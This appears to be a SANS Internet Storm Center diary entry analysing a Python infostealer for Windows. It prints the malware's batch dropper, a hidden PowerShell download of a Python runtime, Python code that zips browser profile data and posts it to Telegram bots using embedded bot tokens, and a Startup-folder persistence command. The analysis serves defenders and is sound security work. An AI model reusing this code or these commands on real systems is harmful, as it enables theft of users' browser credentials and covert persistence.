My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Why Is Python so Popular to Infect Windows Hosts?

Published: 2024-08-27. Last Updated: 2024-08-27 10:24:42 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

It has been a while since I started to track how Python is used in the Windows eco-system[1]. Almost every day I find new pieces of malicious Python scripts. The programming language itself is not malicious. There are plenty of reasons to use Python on Windows. Think about all Didier's tools[2], Most of them are written in Python!

Why did Python become so popular for attackers? I think that the main reason is that the language is not installed by default on Windows and it can be deployed easily by unpacking some files in any directory without requiring administrator rights:

@echo off
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI hxxps://github[.]com/h4x0rpeter/CookieStealer/raw/main/python.zip -OutFile C:\\Users\\Public\\Document.zip;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden expand-Archive C:\\Users\\Public\\Document.zip -DestinationPath C:\\Users\\Public\\Document;

Python can be expanded using libraries and, if added to the ZIP archive, the attacker will expand default Python capabilities.

Another fact is that Python is not integrated like other scripting languages (JS, VBS, PowerShell) into the AMSI[3] framework. You can easily debug scripts through AMSI:

PS1:\> logman start AMSITrace -p Microsoft-Antimalware- Scan-Interface Event1 -o AMSITrace.etl -ets

This command will start recording all activities generated by scripts... except for Python!

Another fact why Python is very popular: it can interact with all layers of the operating system (filesystem, registry, processes, network, ...) but can also call any API from any DLL! I mentioned this in my yesterday's diary[4].

Once Python has been deployed on the victim's computer, the malicious script must be delivered. If often the script is downloaded from an online resource, sometimes it can be extracted or ... reconstructed! Today, I found a batch file that will generate the malicious script by echoing all the lines in a file on disk:

echo import os,json,shutil,win32crypt,hmac,platform,sqlite3,base64,random,requests,subprocess>>C:\\Users\\Public\\stub.py
echo from datetime import datetime,timedelta>>C:\\Users\\Public\\stub.py
echo from Crypto.Cipher import DES3>>C:\\Users\\Public\\stub.py
echo from Crypto.Cipher import AES>>C:\\Users\\Public\\stub.py
echo from pyasn1.codec.der import decoder>>C:\\Users\\Public\\stub.py
echo from hashlib import sha1, pbkdf2_hmac>>C:\\Users\\Public\\stub.py
echo from Crypto.Util.Padding import unpad >>C:\\Users\\Public\\stub.py
echo from base64 import b64decode>>C:\\Users\\Public\\stub.py
echo idbot = "backup">>C:\\Users\\Public\\stub.py
echo apibot1='7363228617:AAHqve2-Ypl4SopNb04FOWW2Drm6zQ3v8gg'>>C:\\Users\\Public\\stub.py
echo id1='-4288554353'>>C:\\Users\\Public\\stub.py
echo apibot2='7363228617:AAHqve2-Ypl4SopNb04FOWW2Drm6zQ3v8gg'>>C:\\Users\\Public\\stub.py
echo id2='4288554353'>>C:\\Users\\Public\\stub.py
echo hostname = os.getenv("COMPUTERNAME")>>C:\\Users\\Public\\stub.py
echo usernamex = os.getlogin()>>C:\\Users\\Public\\stub.py
echo windows_version = platform.platform()>>C:\\Users\\Public\\stub.py
echo now = datetime.now()>>C:\\Users\\Public\\stub.py
echo response =requests.get("https://ipinfo.io").text>>C:\\Users\\Public\\stub.py
echo ip_country = json.loads(response)>>C:\\Users\\Public\\stub.py
echo name_country = ip_country['region']>>C:\\Users\\Public\\stub.py

The purpose of the script is simple: It's another infostealer that will exfiltrate collected information via Telegram:

def main():
    numbers=intNumbers()    
    number = "Status number send: " + str(numbers)
    u2 = 'hxxps://api[.]telegram[.]org/bot'+apibot2+'/sendDocument'
    u1 = 'hxxps://api[.]telegram[.]org/bot'+apibot1+'/sendDocument'
    browsers = {
        'chrome': os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data"),
        'Edge': os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data"),
        'Opera': os.path.join(os.environ["USERPROFILE"], "AppData", "Roaming", "Opera Software", "Opera Stable"),
        'Brave': os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data"),
        'firefox': os.path.join(os.environ["USERPROFILE"], "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
        'chromium': os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Chromium", "User Data")
    }
    data_path = os.path.join(os.environ["TEMP"], name_f)
    os.mkdir(data_path)
    data_path_ck = os.path.join(os.environ["TEMP"], name_f, "filecookie")
    os.mkdir(data_path_ck)
    for browser_name, browser_path in browsers.items():
        get_browser_data(data_path, browser_path, browser_name)
    zip_file_path = os.path.join(os.environ["TEMP"], name_f + '.zip')
    shutil.make_archive(zip_file_path[:-4], 'zip', data_path)
    if numbers == 1:
        with open(zip_file_path, 'rb') as f:
            requests.post(u1,data={'caption': "\n"+"Country : "+name_country + "-" + timezone + "\n"+ windows_version +"\r\nIPAdress:"+ip + "\r\n"+ number,'chat_id': id1},files={'document': f})
    else :
        with open(zip_file_path, 'rb') as f:
             requests.post(u2,data={'caption': "\n"+"Country :  "+ name_country + "-" + timezone +"\n"+ windows_version +"\r\nIPAddress:"+ip + "\r\n"+ number,'chat_id': id2},files={'document': f})
    shutil.rmtree(data_path, ignore_errors=True)
    try:
        os.remove(zip_file_path)
    except Exception as e:
        print("Error")

Funny, exfiltrated data will be sent to two different Telegram bots depending on the value of $numbers. It's a simple load-balancing solution:

def intNumbers():
    path_demso = r"C:\Users\Public\number.txt"
    if os.path.exists(path_demso):
        with open(path_demso, 'r') as file:
            number = file.read()
        number = int(number)+1
        with open(path_demso, 'w') as file:
            abc = str(number)
            file.write(abc)
    else:
        with open(path_demso, 'w') as file:
            file.write("1")
            number = ^1
    return number

Finally, persistence will be added via the Startup menu:

for /f %%i in ('echo %USERNAME%') do 
set user=%%i
echo cmd /c C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\Users\Public\Document\python.exe C:\Users\Public\stub.py;>>C:\\Users\\Public\\Windows.bat
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -command "Get-Content 'C:\\Users\\Public\\Windows.bat' | Set-Content 'C:\Users\!user!\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.bat'"

The batch file has again a low VT score (4/65)[5].

Conclusion: Keep an eye on Python processes on your Windows hosts! If you don't need Python for your daily tasks, any process should be considered suspicious!

[1] https://www.sans.org/webcasts/who-said-that-python-was-unix-best-friend-only/
[2] https://blog.didierstevens.com/my-software/
[3] https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal
[4] https://isc.sans.edu/diary/From%20Highly%20Obfuscated%20Batch%20File%20to%20XWorm%20and%20Redline/31204
[5] https://www.virustotal.com/gui/file/e721ae2bfd0f3bc4da3b60090aa734cd31878134ed3fdfa49abc4b26b825da47/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments


Diary Archives